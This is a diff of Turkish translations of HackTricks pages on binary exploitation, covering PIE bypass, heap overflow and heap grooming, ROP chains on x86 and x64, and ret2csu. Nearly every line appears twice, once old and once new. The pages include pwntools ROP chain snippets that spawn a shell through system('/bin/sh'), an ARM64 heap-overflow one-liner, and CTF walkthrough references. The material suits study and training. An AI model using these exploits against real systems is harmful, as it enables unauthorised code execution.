		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
- Bir **keyfi okuma** zafiyetini kullanarak [**format dizesi**](../../format-strings/) gibi, ikilinin bir adresini sızdırmak (örneğin, önceki teknik gibi yığından) ikilinin temelini elde etmek ve buradan ofsetleri kullanmak için. [**Burada bir örnek bulun**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 | 
			
		||||
- Bir **keyfi okuma** zafiyetini kullanarak [**format dizesi**](../../format-strings/index.html) gibi, ikilinin bir adresini sızdırmak (örneğin, önceki teknik gibi yığından) ikilinin temelini elde etmek ve buradan ofsetleri kullanmak için. [**Burada bir örnek bulun**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -4,38 +4,38 @@
 | 
			
		||||
 | 
			
		||||
## Temel Bilgiler
 | 
			
		||||
 | 
			
		||||
Heap overflow, [**stack overflow**](../stack-overflow/) gibi ama heap'te gerçekleşir. Temelde, heap'te bazı verileri saklamak için ayrılmış bir alanın olduğu ve **saklanan verinin ayrılan alandan daha büyük olduğu** anlamına gelir.
 | 
			
		||||
Heap overflow, [**stack overflow**](../stack-overflow/index.html) gibi ama heap'te gerçekleşir. Temelde, bazı verileri depolamak için heap'te yer ayrıldığını ve **depolanan verinin ayrılan alandan daha büyük olduğunu** ifade eder.
 | 
			
		||||
 | 
			
		||||
Stack overflow'larda, bazı kayıtların, örneğin talimat işaretçisi veya stack çerçevesinin, stack'ten geri yükleneceğini biliyoruz ve bunu kötüye kullanmak mümkün olabilir. Heap overflow'larda ise, **varsayılan olarak heap parçasında saklanan herhangi bir hassas bilgi yoktur**. Ancak, hassas bilgiler veya işaretçiler olabilir, bu nedenle bu açığın **kritikliği**, **hangi verilerin üzerine yazılabileceğine** ve bir saldırganın bunu nasıl kötüye kullanabileceğine **bağlıdır**.
 | 
			
		||||
Stack overflow'larda, bazı kayıtların, örneğin talimat işaretçisi veya stack çerçevesinin, stack'ten geri yükleneceğini biliyoruz ve bunu kötüye kullanmak mümkün olabilir. Heap overflow'larda ise, **varsayılan olarak heap parçasında depolanan herhangi bir hassas bilgi yoktur**. Ancak, hassas bilgiler veya işaretçiler olabilir, bu nedenle bu açığın **kritikliği**, **hangi verilerin üzerine yazılabileceğine** ve bir saldırganın bunu nasıl kötüye kullanabileceğine **bağlıdır**.
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Overflow offset'lerini bulmak için [**stack overflow'larda**](../stack-overflow/index.html#finding-stack-overflows-offsets) olduğu gibi aynı kalıpları kullanabilirsiniz.
 | 
			
		||||
> Overflow offset'lerini bulmak için [**stack overflow'larda**](../stack-overflow/index.html#finding-stack-overflows-offsets) kullanılan aynı desenleri kullanabilirsiniz.
 | 
			
		||||
 | 
			
		||||
### Stack Overflow'lar vs Heap Overflow'lar
 | 
			
		||||
 | 
			
		||||
Stack overflow'larda, açığın tetiklenebileceği anda stack'te bulunacak düzen ve veriler oldukça güvenilirdir. Bunun nedeni, stack'in lineer olması, her zaman çarpışan bellek içinde artması, **programın çalışması sırasında stack belleğinin genellikle benzer türde verileri saklaması** ve her fonksiyon tarafından kullanılan stack parçasının sonunda bazı işaretçilerle belirli bir yapıya sahip olmasıdır.
 | 
			
		||||
Stack overflow'larda, açığın tetiklenebileceği anda stack'te bulunacak düzen ve veriler oldukça güvenilirdir. Bunun nedeni, stack'in lineer olması, her zaman çarpışan bellek içinde artması, **programın çalışması sırasında stack belleğinin genellikle benzer türde verileri depolamasıdır** ve her fonksiyon tarafından kullanılan stack parçasının sonunda bazı işaretçilerin bulunmasıdır.
 | 
			
		||||
 | 
			
		||||
Ancak, heap overflow durumunda, kullanılan bellek lineer değildir, **ayrılan parçalar genellikle bellek içinde ayrı konumlarda** (birbirinin yanında değil) bulunur çünkü **boyutlarına göre ayrılan alanları** ayıran **bins ve zonlar** vardır ve **önceki serbest bellek kullanılır** yeni parçalar ayırmadan önce. **Bir heap overflow ile çarpışacak nesneyi bilmek karmaşıktır.** Bu nedenle, bir heap overflow bulunduğunda, **istenen nesnenin, overflow olabilecek nesnenin yanında bellek içinde olmasını sağlamak için güvenilir bir yol bulmak** gerekir.
 | 
			
		||||
 | 
			
		||||
Bunun için kullanılan tekniklerden biri **Heap Grooming**'dir, örneğin [**bu yazıda**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) kullanılır. Yazıda, iOS çekirdeğinde bir alanın bellek parçalarını saklamak için bellek kalmadığında, bir çekirdek sayfası ile genişletildiği ve bu sayfanın beklenen boyutlardaki parçalara bölündüğü açıklanmaktadır (iOS sürüm 9.2'ye kadar, ardından bu parçalar bu saldırıların istismarını zorlaştırmak için rastgele bir şekilde kullanılır).
 | 
			
		||||
Bunun için kullanılan tekniklerden biri **Heap Grooming**'dir, örneğin [**bu yazıda**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) kullanılır. Yazıda, iOS çekirdeğinde bir alanın bellek parçalarını depolamak için bellek kalmadığında, bir çekirdek sayfası ile genişletildiği ve bu sayfanın beklenen boyutlardaki parçalara bölündüğü açıklanmaktadır (iOS sürüm 9.2'ye kadar, ardından bu parçalar bu saldırıların istismarını zorlaştırmak için rastgele bir şekilde kullanılır).
 | 
			
		||||
 | 
			
		||||
Bu nedenle, önceki yazıda bir heap overflow gerçekleştiğinde, overflow olan nesneyi bir kurban nesnesi ile çarpışmaya zorlamak için, **tüm serbest parçaların doldurulmasını ve yeni bir sayfanın oluşturulmasını sağlamak için birkaç `kalloc` birkaç iş parçacığı tarafından zorlanır.**
 | 
			
		||||
Bu nedenle, önceki yazıda bir heap overflow gerçekleştiğinde, overflow olan nesneyi bir kurban nesnesi ile çarpışmaya zorlamak için, birkaç **`kalloc`'un birkaç iş parçacığı tarafından zorlanması gerekir, böylece tüm serbest parçaların doldurulması ve yeni bir sayfanın oluşturulması sağlanır**.
 | 
			
		||||
 | 
			
		||||
Belirli bir boyuttaki nesnelerle bu doldurmayı zorlamak için, **iOS mach portu ile ilişkili dışarıda ayrılan bellek** ideal bir adaydır. Mesajın boyutunu ayarlayarak, `kalloc` ayrımının boyutunu tam olarak belirlemek mümkündür ve ilgili mach portu yok edildiğinde, ilgili ayrım hemen `kfree`'ye geri verilecektir.
 | 
			
		||||
Belirli bir boyuttaki nesnelerle bu doldurmayı zorlamak için, **iOS mach portu ile ilişkili dışarıdan ayrılan bellek** ideal bir adaydır. Mesajın boyutunu ayarlayarak, `kalloc` ayrımının boyutunu tam olarak belirlemek mümkündür ve ilgili mach portu yok edildiğinde, ilgili ayrım hemen `kfree`'ye geri verilecektir.
 | 
			
		||||
 | 
			
		||||
Sonra, bu yer tutuculardan bazıları **serbest bırakılabilir**. **`kalloc.4096` serbest listesi, son giren ilk çıkar sırasına göre elemanları serbest bırakır**, bu da temelde bazı yer tutucular serbest bırakıldığında ve istismar, overflow'a karşı savunmasız nesneyi ayarlamaya çalışırken birkaç kurban nesnesi ayarlamaya çalıştığında, bu nesnenin bir kurban nesnesinden sonra gelme olasılığının yüksek olduğu anlamına gelir.
 | 
			
		||||
Sonra, bu yer tutuculardan bazıları **serbest bırakılabilir**. **`kalloc.4096` serbest listesi, son giren ilk çıkar sırasına göre elemanları serbest bırakır**, bu da temelde bazı yer tutucular serbest bırakıldığında ve istismar, overflow'a karşı savunmasız nesneyi ayarlamaya çalışırken birkaç kurban nesnesi ayarlamaya çalıştığında, bu nesnenin bir kurban nesnesi tarafından takip edilme olasılığının yüksek olduğu anlamına gelir.
 | 
			
		||||
 | 
			
		||||
### Örnek libc
 | 
			
		||||
 | 
			
		||||
[**Bu sayfada**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) bir temel Heap overflow emülasyonu bulmak mümkündür; bu emülasyon, bir sonraki parçanın prev in use bitini ve prev boyutunun konumunu üzerine yazarak **kullanılan bir parçayı konsolide etmenin** (kullanılmamış gibi düşünmesini sağlayarak) ve **sonra tekrar ayırmanın** mümkün olduğunu gösterir; böylece farklı bir işaretçide kullanılan verileri de üzerine yazma imkanı sağlar.
 | 
			
		||||
[**Bu sayfada**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) bir heap overflow emülasyonu bulmak mümkündür; bu emülasyon, bir sonraki parçanın prev in use bitini ve prev boyutunun konumunu üzerine yazarak **kullanılan bir parçayı konsolide etmenin** (kullanılmamış gibi düşünmesini sağlayarak) ve **sonra tekrar ayırmanın** mümkün olduğunu gösterir; böylece farklı bir işaretçide kullanılan verileri de üzerine yazma imkanı sağlar.
 | 
			
		||||
 | 
			
		||||
[**Protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) adlı başka bir örnek, bir **heap overflow**'un istismar edilebileceği çok temel bir CTF örneğini göstermektedir; burada **bayrağı almak için** kazanan fonksiyonu çağırmak mümkündür.
 | 
			
		||||
[**Protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) örneği, bir **heap overflow**'un istismar edilebileceği çok temel bir CTF örneğini göstermektedir; burada **bayrağı almak için** kazanan fonksiyonu çağırmak mümkündür.
 | 
			
		||||
 | 
			
		||||
[**Protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) örneğinde, bir buffer overflow istismar edilerek **yakın bir parçaya bir adresin üzerine yazılmasının** mümkün olduğu gösterilmektedir; burada **kullanıcıdan rastgele verilerin** yazılacağı bir adres bulunmaktadır.
 | 
			
		||||
[**Protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) örneğinde, bir buffer overflow istismar edilerek **yakın bir parçaya bir adresin üzerine yazılabileceği** gösterilmektedir; burada **kullanıcıdan rastgele verilerin** yazılacağı bir adres bulunmaktadır.
 | 
			
		||||
 | 
			
		||||
### Örnek ARM64
 | 
			
		||||
 | 
			
		||||
[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) sayfasında, yürütülecek bir komutun overflow olan parçanın sonraki parçasında saklandığı bir heap overflow örneği bulabilirsiniz. Böylece, yürütülen komutu, aşağıdaki gibi basit bir istismar ile üzerine yazarak değiştirmek mümkündür:
 | 
			
		||||
Sayfada [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) bir heap overflow örneği bulabilirsiniz; burada yürütülecek bir komut, overflow olan parçanın sonraki parçasında depolanmaktadır. Bu nedenle, yürütülen komutu, kolay bir istismar ile üzerine yazarak değiştirmek mümkündür:
 | 
			
		||||
```bash
 | 
			
		||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
 | 
			
		||||
```
 | 
			
		||||
@ -43,6 +43,6 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
 | 
			
		||||
 | 
			
		||||
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
 | 
			
		||||
- Bir Heap Overflow elde etmek için bir Integer Overflow zafiyetini kullanıyoruz.
 | 
			
		||||
- Kod yürütmesi elde etmek için `system` gibi bir fonksiyonu ayarlamak amacıyla taşan parçanın içindeki bir `struct` içindeki bir fonksiyonun işaretçilerini bozuluyoruz.
 | 
			
		||||
- Kod yürütmesi elde etmek için taşan parçanın içindeki bir `struct` içindeki bir işlevin işaretçilerini bozarız ve `system` gibi bir işlev ayarlarız.
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -4,40 +4,40 @@
 | 
			
		||||
 | 
			
		||||
## **Temel Bilgiler**
 | 
			
		||||
 | 
			
		||||
**Return-Oriented Programming (ROP)**, **No-Execute (NX)** veya **Data Execution Prevention (DEP)** gibi güvenlik önlemlerini aşmak için kullanılan ileri düzey bir istismar tekniğidir. Bir saldırgan, shellcode enjekte etmek ve çalıştırmak yerine, ikili dosyada veya yüklenmiş kütüphanelerde zaten mevcut olan kod parçalarını, yani **"gadgets"** kullanır. Her gadget genellikle bir `ret` talimatı ile biter ve kayıtlar arasında veri taşımak veya aritmetik işlemler yapmak gibi küçük bir işlem gerçekleştirir. Bu gadget'ları bir araya getirerek, bir saldırgan keyfi işlemler gerçekleştirmek için bir yük oluşturabilir ve böylece NX/DEP korumalarını etkili bir şekilde aşabilir.
 | 
			
		||||
**Return-Oriented Programming (ROP)**, **No-Execute (NX)** veya **Data Execution Prevention (DEP)** gibi güvenlik önlemlerini aşmak için kullanılan ileri düzey bir istismar tekniğidir. Bir saldırgan, shellcode enjekte etmek ve çalıştırmak yerine, ikili dosyada veya yüklenmiş kütüphanelerde zaten mevcut olan kod parçalarını, yani **"gadgets"** kullanır. Her gadget genellikle bir `ret` talimatı ile biter ve verileri registerlar arasında taşımak veya aritmetik işlemler yapmak gibi küçük bir işlem gerçekleştirir. Bu gadget'ları bir araya getirerek, bir saldırgan keyfi işlemler gerçekleştirmek için bir yük oluşturabilir ve böylece NX/DEP korumalarını etkili bir şekilde aşabilir.
 | 
			
		||||
 | 
			
		||||
### ROP Nasıl Çalışır
 | 
			
		||||
 | 
			
		||||
1. **Kontrol Akışını Ele Geçirme**: İlk olarak, bir saldırgan bir programın kontrol akışını ele geçirmelidir; bu genellikle bir tampon taşması istismarı ile yığın üzerindeki kaydedilmiş dönüş adresini geçersiz kılmakla yapılır.
 | 
			
		||||
1. **Kontrol Akışını Ele Geçirme**: İlk olarak, bir saldırgan bir programın kontrol akışını ele geçirmelidir; bu genellikle bir buffer overflow kullanarak stack'teki kaydedilmiş dönüş adresini yazmakla yapılır.
 | 
			
		||||
2. **Gadget Zincirleme**: Saldırgan daha sonra istenen eylemleri gerçekleştirmek için gadget'ları dikkatlice seçer ve zincirler. Bu, bir fonksiyon çağrısı için argümanları ayarlamayı, fonksiyonu çağırmayı (örneğin, `system("/bin/sh")`) ve gerekli temizlik veya ek işlemleri yönetmeyi içerebilir.
 | 
			
		||||
3. **Yükün Çalıştırılması**: Zayıf fonksiyon döndüğünde, meşru bir konuma dönmek yerine gadget zincirini çalıştırmaya başlar.
 | 
			
		||||
 | 
			
		||||
### Araçlar
 | 
			
		||||
 | 
			
		||||
Genellikle, gadget'lar [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) veya doğrudan **pwntools**'tan ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) bulunabilir.
 | 
			
		||||
Genellikle, gadget'lar [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) veya doğrudan **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) kullanılarak bulunabilir.
 | 
			
		||||
 | 
			
		||||
## x86 Örneğinde ROP Zinciri
 | 
			
		||||
 | 
			
		||||
### **x86 (32-bit) Çağrı Konvansiyonları**
 | 
			
		||||
 | 
			
		||||
- **cdecl**: Çağrıyı yapan yığını temizler. Fonksiyon argümanları yığına ters sırayla (sağdan sola) itilir. **Argümanlar yığına sağdan sola itilir.**
 | 
			
		||||
- **stdcall**: cdecl'e benzer, ancak çağrılan fonksiyon yığını temizlemekten sorumludur.
 | 
			
		||||
- **cdecl**: Çağrıyı yapan stack'i temizler. Fonksiyon argümanları stack'e ters sırayla (sağdan sola) itilir. **Argümanlar sağdan sola doğru stack'e itilir.**
 | 
			
		||||
- **stdcall**: cdecl'e benzer, ancak çağrılan fonksiyon stack'i temizlemekten sorumludur.
 | 
			
		||||
 | 
			
		||||
### **Gadget Bulma**
 | 
			
		||||
 | 
			
		||||
Öncelikle, ikili dosya veya yüklenmiş kütüphaneler içinde gerekli gadget'ları tanımladığımızı varsayalım. İlgilendiğimiz gadget'lar şunlardır:
 | 
			
		||||
 | 
			
		||||
- `pop eax; ret`: Bu gadget, yığının en üstündeki değeri `EAX` kaydına alır ve ardından döner, böylece `EAX`'ı kontrol etmemizi sağlar.
 | 
			
		||||
- `pop ebx; ret`: Yukarıdaki gibi, ancak `EBX` kaydı için, `EBX` üzerinde kontrol sağlar.
 | 
			
		||||
- `pop eax; ret`: Bu gadget, stack'in en üstündeki değeri `EAX` register'ına alır ve ardından döner, böylece `EAX`'ı kontrol etmemizi sağlar.
 | 
			
		||||
- `pop ebx; ret`: Yukarıdaki gibi, ancak `EBX` register'ı için, `EBX` üzerinde kontrol sağlar.
 | 
			
		||||
- `mov [ebx], eax; ret`: `EAX`'taki değeri `EBX` tarafından işaret edilen bellek konumuna taşır ve ardından döner. Bu genellikle **write-what-where gadget** olarak adlandırılır.
 | 
			
		||||
- Ayrıca, `system()` fonksiyonunun adresine de sahibiz.
 | 
			
		||||
 | 
			
		||||
### **ROP Zinciri**
 | 
			
		||||
 | 
			
		||||
**pwntools** kullanarak, `system('/bin/sh')`'yi çalıştırmayı hedefleyerek ROP zinciri yürütmesi için yığını aşağıdaki gibi hazırlarız, zincirin nasıl başladığına dikkat edin:
 | 
			
		||||
**pwntools** kullanarak, `system('/bin/sh')`'yi çalıştırmayı hedefleyerek ROP zinciri yürütmesi için stack'i aşağıdaki gibi hazırlarız, zincirin nasıl başladığına dikkat edin:
 | 
			
		||||
 | 
			
		||||
1. Hizalama amaçlı bir `ret` talimatı (isteğe bağlı)
 | 
			
		||||
2. `system` fonksiyonunun adresi (ASLR'nin devre dışı bırakıldığını ve libc'nin bilindiğini varsayarak, daha fazla bilgi için [**Ret2lib**](ret2lib/))
 | 
			
		||||
2. `system` fonksiyonunun adresi (ASLR'nin devre dışı bırakıldığını ve libc'nin bilindiğini varsayarak, daha fazla bilgi için [**Ret2lib**](ret2lib/index.html))
 | 
			
		||||
3. `system()`'den dönüş adresi için yer tutucu
 | 
			
		||||
4. `"/bin/sh"` dizesinin adresi (system fonksiyonu için parametre)
 | 
			
		||||
```python
 | 
			
		||||
@ -77,22 +77,22 @@ p.interactive()
 | 
			
		||||
 | 
			
		||||
### **x64 (64-bit) Çağrı Konvansiyonları**
 | 
			
		||||
 | 
			
		||||
- **System V AMD64 ABI** çağrı konvansiyonunu Unix benzeri sistemlerde kullanır; burada **ilk altı tam sayı veya işaretçi argümanı `RDI`, `RSI`, `RDX`, `RCX`, `R8` ve `R9`** kayıtlarında iletilir. Ek argümanlar yığında iletilir. Dönüş değeri `RAX`'a yerleştirilir.
 | 
			
		||||
- **Unix benzeri sistemlerde** **System V AMD64 ABI** çağrı konvansiyonu kullanılır; burada **ilk altı tam sayı veya işaretçi argümanı `RDI`, `RSI`, `RDX`, `RCX`, `R8` ve `R9`** kayıtlarında iletilir. Ek argümanlar yığında iletilir. Dönüş değeri `RAX`'a yerleştirilir.
 | 
			
		||||
- **Windows x64** çağrı konvansiyonu, ilk dört tam sayı veya işaretçi argümanı için `RCX`, `RDX`, `R8` ve `R9` kullanır; ek argümanlar yığında iletilir. Dönüş değeri `RAX`'a yerleştirilir.
 | 
			
		||||
- **Kayıtlar**: 64-bit kayıtlar `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` ve `R8`'den `R15`'e kadar içerir.
 | 
			
		||||
 | 
			
		||||
#### **Gadget'ları Bulma**
 | 
			
		||||
 | 
			
		||||
Amacımız için, **RDI** kaydını ayarlamamıza ( **"/bin/sh"** dizesini **system()**'e argüman olarak iletmek için) ve ardından **system()** fonksiyonunu çağırmamıza olanak tanıyan gadget'lara odaklanalım. Aşağıdaki gadget'ları belirlediğimizi varsayıyoruz:
 | 
			
		||||
Amacımız için, **RDI** kaydını ayarlamamıza ( **"/bin/sh"** dizesini **system()** fonksiyonuna argüman olarak iletmek için) ve ardından **system()** fonksiyonunu çağırmamıza olanak tanıyan gadget'lara odaklanalım. Aşağıdaki gadget'ları belirlediğimizi varsayıyoruz:
 | 
			
		||||
 | 
			
		||||
- **pop rdi; ret**: Yığının en üstündeki değeri **RDI**'ye alır ve ardından döner. **system()** için argümanımızı ayarlamak için gereklidir.
 | 
			
		||||
- **ret**: Basit bir dönüş, bazı senaryolarda yığın hizalaması için faydalıdır.
 | 
			
		||||
- **ret**: Basit bir dönüş, bazı senaryolar için yığın hizalaması için faydalıdır.
 | 
			
		||||
 | 
			
		||||
Ve **system()** fonksiyonunun adresini bildiğimizi biliyoruz.
 | 
			
		||||
 | 
			
		||||
### **ROP Zinciri**
 | 
			
		||||
 | 
			
		||||
Aşağıda, **pwntools** kullanarak **system('/bin/sh')**'i **x64** üzerinde çalıştırmayı hedefleyen bir ROP zinciri kurma ve yürütme örneği bulunmaktadır:
 | 
			
		||||
Aşağıda, **system('/bin/sh')**'i **x64** üzerinde çalıştırmayı hedefleyen bir ROP zinciri kurmak ve yürütmek için **pwntools** kullanarak bir örnek verilmiştir:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -129,13 +129,13 @@ p.interactive()
 | 
			
		||||
```
 | 
			
		||||
Bu örnekte:
 | 
			
		||||
 | 
			
		||||
- **`pop rdi; ret`** gadget'ını **`RDI`**'yi **`"/bin/sh"`** adresine ayarlamak için kullanıyoruz.
 | 
			
		||||
- **`pop rdi; ret`** gadget'ını kullanarak **`RDI`**'yi **`"/bin/sh"`** adresine ayarlıyoruz.
 | 
			
		||||
- **`RDI`**'yi ayarladıktan sonra doğrudan **`system()`**'e atlıyoruz, zincirde **system()**'in adresi ile.
 | 
			
		||||
- Hedef ortamın gerektirmesi durumunda hizalama için **`ret_gadget`** kullanılır, bu da **x64**'te işlevleri çağırmadan önce doğru yığın hizalamasını sağlamak için daha yaygındır.
 | 
			
		||||
 | 
			
		||||
### Yığın Hizalaması
 | 
			
		||||
 | 
			
		||||
**x86-64 ABI** bir **call instruction** yürütüldüğünde **yığının 16 bayt hizalı** olmasını garanti eder. **LIBC**, performansı optimize etmek için **SSE instructions** (örneğin **movaps**) kullanır ve bu hizalamayı gerektirir. Yığın düzgün hizalanmadığında (yani **RSP** 16'nın katı değilse), **system** gibi işlevlere yapılan çağrılar bir **ROP chain**'inde başarısız olur. Bunu düzeltmek için, ROP zincirinizde **system**'i çağırmadan önce basitçe bir **ret gadget** ekleyin.
 | 
			
		||||
**x86-64 ABI** bir **call instruction** yürütüldüğünde **yığının 16-byte hizalı** olmasını garanti eder. **LIBC**, performansı optimize etmek için **SSE instructions** (örneğin **movaps**) kullanır ve bu hizalamayı gerektirir. Yığın düzgün hizalanmadığında (yani **RSP** 16'nın katı değilse), **system** gibi işlevlere yapılan çağrılar bir **ROP chain**'inde başarısız olur. Bunu düzeltmek için, **system**'i ROP zincirinizde çağırmadan önce basitçe bir **ret gadget** ekleyin.
 | 
			
		||||
 | 
			
		||||
## x86 ile x64 arasındaki ana fark
 | 
			
		||||
 | 
			
		||||
@ -154,21 +154,21 @@ Bu bilgi için aşağıdaki sayfayı kontrol edin:
 | 
			
		||||
 | 
			
		||||
## ROP'a Karşı Koruma
 | 
			
		||||
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Bu korumalar, gadget'ların adreslerinin yürütme sırasında değişmesi nedeniyle ROP kullanımını zorlaştırır.
 | 
			
		||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Bir BOF durumunda, ROP zincirini kötüye kullanmak için dönüş işaretçilerini yazmak için yığın kanaryasını atlatmak gerekir.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Bu korumalar, gadget'ların adreslerinin yürütme sırasında değişmesi nedeniyle ROP kullanımını zorlaştırır.
 | 
			
		||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): Bir BOF durumunda, ROP zincirini kötüye kullanmak için dönüş işaretçilerini geçersiz kılmak amacıyla yığın kanaryasını atlatmak gerekir.
 | 
			
		||||
- **Gadget Eksikliği**: Yeterli gadget yoksa bir ROP zinciri oluşturmak mümkün olmayacaktır.
 | 
			
		||||
 | 
			
		||||
## ROP Tabanlı Teknikler
 | 
			
		||||
 | 
			
		||||
ROP'un, keyfi kod yürütmek için sadece bir teknik olduğunu unutmayın. ROP'a dayalı olarak birçok Ret2XXX tekniği geliştirilmiştir:
 | 
			
		||||
 | 
			
		||||
- **Ret2lib**: ROP kullanarak, yüklenmiş bir kütüphaneden keyfi işlevleri keyfi parametrelerle çağırmak (genellikle `system('/bin/sh')` gibi).
 | 
			
		||||
- **Ret2lib**: Keyfi parametrelerle yüklü bir kütüphaneden keyfi işlevleri çağırmak için ROP kullanın (genellikle `system('/bin/sh')` gibi bir şey).
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
ret2lib/
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
- **Ret2Syscall**: ROP kullanarak bir syscall'a, örneğin `execve`, çağrı hazırlamak ve keyfi komutlar yürütmek.
 | 
			
		||||
- **Ret2Syscall**: ROP kullanarak bir syscall'a, örneğin `execve`, çağrı hazırlamak ve keyfi komutlar yürütmek için kullanın.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
rop-syscall-execv/
 | 
			
		||||
@ -184,7 +184,7 @@ rop-syscall-execv/
 | 
			
		||||
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
 | 
			
		||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
 | 
			
		||||
- 64 bit, Pie ve nx etkin, kanaryasız, RIP'i yalnızca yığındaki bir sonraki adrese geri dönmek amacıyla bir `vsyscall` adresi ile yazma
 | 
			
		||||
- 64 bit, Pie ve nx etkin, kanaryasız, RIP'i yalnızca bayrağı sızdıran işlevin bir kısmına geri dönmek amacıyla bir `vsyscall` adresi ile geçersiz kılma
 | 
			
		||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
 | 
			
		||||
- arm64, ASLR yok, yığını çalıştırılabilir hale getirmek ve yığında shellcode'a atlamak için ROP gadget
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -8,13 +8,13 @@
 | 
			
		||||
 | 
			
		||||
**ret2csu**, bir programın kontrolünü ele almaya çalışırken, programın davranışını manipüle etmek için genellikle kullandığınız **gadgets**'ları bulamadığınızda kullanılan bir hacking tekniğidir.
 | 
			
		||||
 | 
			
		||||
Bir program belirli kütüphaneleri (libc gibi) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kurduğunu yönetmek için bazı yerleşik işlevlere sahiptir. Bu işlevler arasında, özellikle `__libc_csu_init` adı verilen kaybolan gadgets'larımız olarak hareket edebilecek bazı gizli mücevherler bulunmaktadır.
 | 
			
		||||
Bir program belirli kütüphaneleri (libc gibi) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kuracağını yönetmek için bazı yerleşik fonksiyonlara sahiptir. Bu fonksiyonlar arasında, özellikle `__libc_csu_init` adı verilen kaybolan gadgets'larımız olarak işlev görebilecek bazı gizli değerler bulunmaktadır.
 | 
			
		||||
 | 
			
		||||
### \_\_libc_csu_init'deki Sihirli Gadgets
 | 
			
		||||
 | 
			
		||||
**`__libc_csu_init`** içinde vurgulanması gereken iki talimat dizisi (gadget) bulunmaktadır:
 | 
			
		||||
 | 
			
		||||
1. İlk dizi, birkaç kayıtta (rbx, rbp, r12, r13, r14, r15) değerleri ayarlamamıza olanak tanır. Bunlar, daha sonra kullanmak istediğimiz sayıları veya adresleri depolayabileceğimiz slotlar gibidir.
 | 
			
		||||
1. İlk dizi, birkaç kaydın (rbx, rbp, r12, r13, r14, r15) değerlerini ayarlamamıza olanak tanır. Bunlar, daha sonra kullanmak istediğimiz sayıları veya adresleri depolayabileceğimiz slotlar gibidir.
 | 
			
		||||
```armasm
 | 
			
		||||
pop rbx;
 | 
			
		||||
pop rbp;
 | 
			
		||||
@ -35,7 +35,7 @@ mov rsi, r14;
 | 
			
		||||
mov edi, r13d;
 | 
			
		||||
call qword [r12 + rbx*8];
 | 
			
		||||
```
 | 
			
		||||
3. Belki oraya yazmak için herhangi bir adres bilmiyorsunuz ve **bir `ret` talimatına** ihtiyacınız var. İkinci gadget'ın da **bir `ret` ile biteceğini** unutmayın, ancak ona ulaşmak için bazı **koşulları** sağlamanız gerekecek:
 | 
			
		||||
3. Belki oraya yazmak için herhangi bir adres bilmiyorsunuz ve **bir `ret` talimatına** ihtiyacınız var. İkinci gadget'ın da **bir `ret` ile biteceğini** unutmayın, ancak ona ulaşmak için bazı **koşulları** yerine getirmeniz gerekecek:
 | 
			
		||||
```armasm
 | 
			
		||||
mov rdx, r15;
 | 
			
		||||
mov rsi, r14;
 | 
			
		||||
@ -60,12 +60,12 @@ gef➤  search-pattern 0x400560
 | 
			
		||||
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
 | 
			
		||||
0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"
 | 
			
		||||
```
 | 
			
		||||
